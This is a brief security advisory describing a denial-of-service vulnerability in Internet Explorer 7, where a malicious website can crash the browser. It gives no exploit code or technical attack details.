Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.
This issue is triggered when an attacker entices a victim user to visit a malicious website.
Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.
This issue affects Internet Explorer version 7.
